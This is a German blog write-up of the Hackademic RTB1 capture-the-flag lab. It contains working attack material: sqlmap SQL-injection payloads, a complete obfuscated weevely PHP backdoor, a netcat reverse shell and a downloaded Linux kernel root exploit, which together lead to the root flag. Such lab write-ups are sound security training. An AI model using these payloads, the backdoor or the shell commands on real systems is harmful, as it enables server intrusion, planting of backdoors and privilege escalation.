Hackademic RTB1

Nachdem ich hier ja schon einige Hacking-Images besprochen habe wage ich mich heute einmal an das Hackademic RTB1 VMware Image mal schauen ob sich das als Herausforderung erweist. Das Hackademic Image bezieht beim start eine IP direkt vom DHCP Server von daher gibt es an dieser Front mal keine Probleme. Nachdem das Image erfolgreich gebootet hat verschaffe ich mir schon einmal einen groben Überblick per Nmap.

# Nmap 6.25 scan initiated as: nmap -sV -p 1-65535 -A -oN hackademic.RTB1.nmap -oX hackademic.RTB1.xmap 192.168.178.186
Nmap scan report for 192.168.178.186
Host is up (0.0036s latency).
Not shown: 65533 filtered ports
PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Hackademic.RTB1
MAC Address: 08:00:27:C4:5A:6C (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.22 - 2.6.36
Network Distance: 1 hop
TRACEROUTE
HOP RTT     ADDRESS
1   3.58 ms 192.168.178.186
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Thu May  2 11:15:39 2013 -- 1 IP address (1 host up) scanned in 169.32 seconds

Klingt doch für den Anfang ganz vielversprechend. SSH ist dicht, also wird es wohl auf eine Web-challenge hinauslaufen. Soll mir recht sein also geht es an dieser Stelle direkt mit dem Browser weiter.

Startseite Hackerdemic.RTB1

 

Nachdem ich mich durch die Startseite geklickt habe begrüßt mich auch schon die eigentliche Herausforderung.

Die eigentliche Challenge

 

Ziel des Spiels soll also die Key.txt im /root/ Verzeichnis sein, wenn man den Portscan von vorhin bedenkt könnte da einiges an Arbeit auf mich warten. Ich habe es also mit einem Server zu tun bei dem nur ein einziger Port offen ist und einer Webseite die mich bisher auch nicht wirklich weiter bringt. Bevor ich jetzt wieder die schweren Geschütze wie z.B. dirb auf diesen Webserver loslasse werfe ich noch einen kurzen Blick auf den Quelltext der Seite, eventuell findet sich da ja noch etwas brauchbares.

Quelltext der Hackerdemic Challenge Seite

 

Damit lässt sich doch etwas anfangen. Anscheinend habe ich es also mit einem uralten WordPress in der Version 1.5.1.1 zu tun. Da sollte es doch die ein oder andere Schwachstelle geben die mir auf dem Weg in das /root/ Verzeichnis weiterhilft. Da mir die damaligen Schwachstellen von Worpress allerdings nicht mehr so ganz im Gedächtnis sind schaue ich einfach einmal was Exploit-db so zu bieten hat.

Suche nach Schwachstellen in wordpress 1.5.1.1 auf Exploit-db

 

Die Suche lieferte mir dann auch direkt 2 sehr interessante Ergebnisse bzw. 2 Ergebnisse für die gleiche Schwachstelle.

Suchergebnis auf exploit-db

 

 

Beim näheren anschauen der Skripte die auf Exploit-db zur Verfügung stehen konnte ich sehen das der cat Parameter von WordPress die eigentliche Schwachstelle darstellt.

exploit-db-wordpress-1.5.1.1-sql-injection

 

Natürlich könnte ich jetzt direkt mit den Skripten von exploit-db arbeiten, doch bei sql injektion fällt mir persönlich direkt sqlmap ein. Einmal gestartet begann sqlmap seine arbeit direkt aufzunehmen, was ein wenig Zeit in Anspruch genommen hat. Am Ende wurde ich doch mit einem kompletten Dump der Datenbank belohnt der auch sämtliche Zugangsdaten der WordPressuser enthielt.

Ausgabe von sqlmap

 

Ein weiterer Versuch mit sqlmap direkt an eine shell zu kommen schlug allerdings fehl.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# sqlmap -u http://192.168.178.186/Hackademic_RTB1/?cat= --os-shell
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[15:22:47] [INFO] resuming back-end DBMS 'mysql'
[15:22:47] [INFO] testing connection to the target url
[15:22:47] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cat
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace
    Payload: cat=(SELECT 8074 FROM(SELECT COUNT(*),CONCAT(0x3a6a6a723a,(SELECT (CASE WHEN (8074=8074) THEN 1 ELSE 0 END)),0x3a626d743a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: cat=(SELECT (CASE WHEN (6346=6346) THEN SLEEP(5) ELSE 6346*(SELECT 6346 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
[15:22:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[15:22:47] [INFO] going to use a web backdoor for command prompt
[15:22:47] [INFO] fingerprinting the back-end DBMS operating system
[15:22:47] [INFO] the back-end DBMS operating system is Linux
[15:22:47] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[15:22:49] [WARNING] unable to retrieve automatically the web server document root
do you want to provide a text file with a list of directories to try? [y/N] n
[15:23:02] [WARNING] unable to retrieve automatically any web server path
please provide additional comma separated file paths to try to upload the agent inside the possible document: /var/www/html/
[15:23:12] [WARNING] unable to upload the file stager on '/var/www'
[15:23:12] [WARNING] unable to upload the file stager on '/var/www/html'
[15:23:12] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times, 500 (Internal Server Error) - 3 times
[15:23:12] [INFO] fetched data logged to text files under './output/192.168.178.186'

Im Klartext bedeutet das wohl das ich mir zu Fuß eine Shell besorgen muss, ich hätte da auch schon einen Plan 😉
Also auf geht es zum WordPress Login Screen.
Wordpress 1.5.1.1 Login screen

 

Dank sqlmap kenne ich auch den Benutzer mit den meisten Rechten in dieser WordPressinstallation, “GeorgeMiller”. Sqlmap war auch direkt so freundlich das Passwort mit der Mitgelieferten Wordlist für uns zu knacken, damit sollte ich eigentlich Erfolg haben.

Admin Screen nach dem Login

 

 

Siehe da, so sah das früher also aus bei WordPress. Mein Login hat also geklappt, doch noch bin ich um einiges von einer Systemshell entfernt die mir Zugriff auf das /root/ Verzeichnis gewährt. Wie geht es also weiter?

WordPress enthält zumindest in der aktuellen Version auch einen Quelltexteditor für Plugins und Themes eventuell war das ja bei dem alten Ding auch schon so, fehlt also eigentlich nur noch der Quelltext für eine php-shell den man dort gemütlich einfügen kann.. Da ich gerade zu faul bin mir da mit der Hilfe von system() und ähnlichen Funktionen etwas zu basteln schaue ich einfach einmal was mir Kali-Linux so zu bieten hat.

Unter dem Menuepunkt Web-Backdoors findet sich ein vielversprechendes Programm namens weevley das ich auch schon früher in etwas ernsteren Szenarien eingesetzt habe. Weevely ist nicht nur in der Lage eine PHP-Backdoor zu erzeugen sondern kann diese auch noch mit einem Passwort versehen. Also genau das was ich im Moment brauche.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely
      ________                      __
     |  |  |  |-----.----.-.--.----'  |--.--.
     |  |  |  |  -__| -__| |  | -__|  |  |  |
     |________|_____|____|___/|____|__|___  | v1.0
                                      |_____|
              Stealth tiny web shell
[+] Start ssh-like terminal session
    weevely
[+] Run command directly from command line
    weevely   [ " .." | : .. ]
[+] Generate PHP backdoor
    weevely generate  [  ] ..
[+] Show credits
    weevely credits
[+] Show available module and backdoor generators
    weevely help
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely help
+--------------------+------------------------------------------------------+
| generator          | description                                          |
+--------------------+------------------------------------------------------+
| :generate.php      | Generate obfuscated PHP backdoor                     |
| :generate.img      | Backdoor existing image and create related .htaccess |
| :generate.htaccess | Generate backdoored .htaccess.                       |
+--------------------+------------------------------------------------------+
+----------------------+-----------------------------------------------------------------------+
| module               | description                                                           |
+----------------------+-----------------------------------------------------------------------+
| :audit.mapwebfiles   | Enumerate webroot files properties                                    |
| :audit.etcpasswd     | Enumerate users and /etc/passwd content                               |
| :audit.userfiles     | Enumerate common users restricted files                               |
| :shell.sh            | System shell                                                          |
| :shell.php           | PHP shell                                                             |
| :system.info         | Collect system informations                                           |
| :backdoor.reversetcp | Send reverse TCP shell                                                |
| :backdoor.tcp        | Open a shell on TCP port                                              |
| :bruteforce.sqlusers | Bruteforce all SQL users                                              |
| :bruteforce.sql      | Bruteforce SQL username                                               |
| :file.upload         | Upload binary/ascii file to the target filesystem                     |
| :file.rm             | Remove remote files and folders                                       |
| :file.download       | Download binary/ascii files from target filesystem                    |
| :file.upload2web     | Upload binary/ascii file into web folders and guess corresponding url |
| :file.read           | Read files from target filesystem                                     |
| :file.check          | Check remote files type, md5 and permission                           |
| :file.enum           | Check remote files type, md5 and permission                           |
| :sql.console         | Execute SQL queries                                                   |
| :sql.dump            | Get SQL database dump                                                 |
| :net.phpproxy        | Install remote PHP proxy                                              |
| :net.scan            | Print interface addresses                                             |
| :net.ifaces          | Print interface addresses                                             |
| :net.proxy           | Install and run Proxy to tunnel traffic through target                |
| :find.suidsgid       | Find files with superuser flags                                       |
| :find.perms          | Find files with write, read, execute permissions                      |
+----------------------+-----------------------------------------------------------------------+

Klingt doch sehr vielversprechend, also auf in die Schlacht.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely generate test backdoor.php
[generate.php] Backdoor file 'backdoor.php' created with password 'test'
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# cat backdoor.php
<?php
$zhxy="pPjMpbleyRrPSdzdCc7ZWNobyAnPCcuJGsublJz4nO2V2YWwoYmFzZTY0X2RlY2bl9kZShwcmVnX3JlcGxhY2UoYXb";
$ceve="lJyYXkoJbly9bXlx3PVxzXSbl8nLCcvblXHblMblvJyksIGFblycmF5KCcnLCcblrb";
$wcvy = str_replace("i","","isitri_reipilacie");
$qmfv="lJyksIGpvaW4bloYXJyYXlfc2xpblY2UoJGEsblJGMoJGEpLblTMpKSkpKTtlY2hvICc8LycuJGsbluJz4nO30=";
$yivg="JGM9J2NvbldW50JzskYT0kX0NblPT0tJRTtpblZihyZXNldCgkYSk9PSd0ZScgblJiYgJGMoJGE";
$jnng = $wcvy("t", "", "tbtastet6t4t_tdtetcotde");
$tgex = $wcvy("s","","scsrseastses_sfsusnsctsisosn");
$fimz = $tgex('', $jnng($wcvy("bl", "", $yivg.$zhxy.$ceve.$qmfv))); $fimz();?>

Jetzt habe ich also eine passende Backdoor und muss sie nur noch an der passenden Stelle hinterlegen. Es wird also Zeit einen Blick auf den Codeeditor in WordPress zu werfen.Zum glück sind bereits einige Plugins installiert, sonst müsste ich mir jetzt auch noch ein WordPress-plugin basteln. Für den Moment entscheide ich mich dafür das Plugin “Hello-Dolly” etwas zu bearbeiten.

Codeeditoransicht des Hello-Dolly Plugins

Jetzt müsste ich eigentlich einen funktionierenden Shellzugang auf diesem Server haben.Also versuche ich doch die Datei einfach einmal direkt mit dem Browser zu öffnen. Der passende Pfad für das öffnen der Datei sollte eigentlich “/wp-content/plugins/hellodolly/hello.php” sein, zumindest bei einer aktuellen Version von WordPress.

Scheint zu funktionieren, da ich für die Webshell allerdings ein Passwort gesetzt habe muss ich für den Zugriff wieder auf weevely zurückgreifen.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely http://192.168.178.186/Hackademic_RTB1/wp-content/plugins/hello.php test
      ________                      __
     |  |  |  |-----.----.-.--.----'  |--.--.
     |  |  |  |  -__| -__| |  | -__|  |  |  |
     |________|_____|____|___/|____|__|___  | v1.0
                                      |_____|
              Stealth tiny web shell
[+] Welcome to Weevely. Browse filesystem and execute system commands.
[+] Use ':help' to list available modules and run selected one.
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ whoami
apache
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ cat /root/key.txt
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ ls -ahl /root/
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $

Damit hätte ich jetzt zumindest mal eine shell mit den Rechten des Systemusers Apache. Die Rechte reichen allerdings im Moment noch nicht aus um an die Datei im /root/ Verzeichnis zu kommen. Bevor wir da jetzt aber mit dem Weevely gedöhns weiterarbeiten lassen wir uns von weevely mal eine ordentliche reverseshell öffnen.
also benutzen wir auf unserer Seite das gute alte netcat

nc -l 9998

Auf anderen Seite benutzen wir wieder weevely.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely http://192.168.178.186/Hackademic_RTB1/wp-content/plugins/hello.php test
      ________                      __
     |  |  |  |-----.----.-.--.----'  |--.--.
     |  |  |  |  -__| -__| |  | -__|  |  |  |
     |________|_____|____|___/|____|__|___  | v1.0
                                      |_____|
              Stealth tiny web shell
[+] Welcome to Weevely. Browse filesystem and execute system commands.
[+] Use ':help' to list available modules and run selected one.
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ :backdoor.reversetcp -port 9998 192.168.178.185
[backdoor.reversetcp] [!] Error: Binding socket [Errno 98] Address already in use
root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $

Hier erhalte ich zwar eine Fehlermeldung doch wie durch ein Wunder öffnet sich in meinem Netcat Fenster trotzdem eine shell.

root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1# nc -l 9998
sh: no job control in this shell
sh-4.0$ whoami
whoami
apache
sh-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
sh-4.0$

So das Shellproblem ist dann für das erste gelöst, wie ich jetzt schnell an einen root Zugang? Nach ein paar Minuten mit Google bin ich auf diesen kleinen Exploit gestoßen.

Linux-Kernel Exploit von vsecurity

In dem Dokument war dann auch gleich der Downloadlink für den passenden Proof of Concept Code, natürlich lasse ich mich da nicht lumpen und gebe direkt Gas.

sh-4.0$ wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c
wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c
--2013-05-02 18:50:37--  http://www.vsecurity.com/download/tools/linux-rds-exploit.c
Resolving www.vsecurity.com... 209.67.252.12
Connecting to www.vsecurity.com|209.67.252.12|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-c]
Saving to: `linux-rds-exploit.c'
     0K ......                                                100% 46.2K=0.1s
2013-05-02 18:50:38 (46.2 KB/s) - `linux-rds-exploit.c' saved [6435/6435]
sh-4.0$ gcc linux-rds-exploit.c -o test
gcc linux-rds-exploit.c -o test
sh-4.0$ ./test
./test
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe0987b20
 [+] Resolved rds_ioctl to 0xe097206a
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xe0987b20
 [+] Resolved rds_ioctl to 0xe097206a
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
whoami
root

Yeaaahhh!!!!! Damit ist das Ziel also so gut wie erreicht, zumindest hab ich jetzt schon einmal einen root Account. Was jetzt noch fehlt ist die key.txt aus dem /root Verzeichnis, das sollte jetzt allerdings kein Problem mehr darstellen.

cat /root/key.txt
Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :)
$_d&jgQ>>ak\#b"(Hx"o<la_%
Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

Damit habe ich es also mal wieder geschafft. Was habe ich jetzt aus speziell diesem Image gelernt? Ausser der nervigen Exploitsuche für die Privilege escalation war das Image eigentlich relativ cool lösbar. Zumindest führte eine Schwachstelle immer schön zur anderen. Wie realistisch es jetzt ist das jemand noch ein WordPress 1.5.1.1 am laufen hat, darüber lässt sich natürlich wie immer streiten.

Tagged , , , , , , . Bookmark the permalink.

About Brechthold

Brechthold gehört zu dem Gründungsteam von Contempt-it . Nach ein paar Jahren der Abstinenz jetzt wieder zurück im Adminteam um ein wenig Ordnung zu schaffen. Zu seinen Lieblingsthemen gehören Honeypots, IDS-Systeme und Servermonitoring. Neben seiner Arbeit im Adminteam werkelt er noch an seinem Brechtblog

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.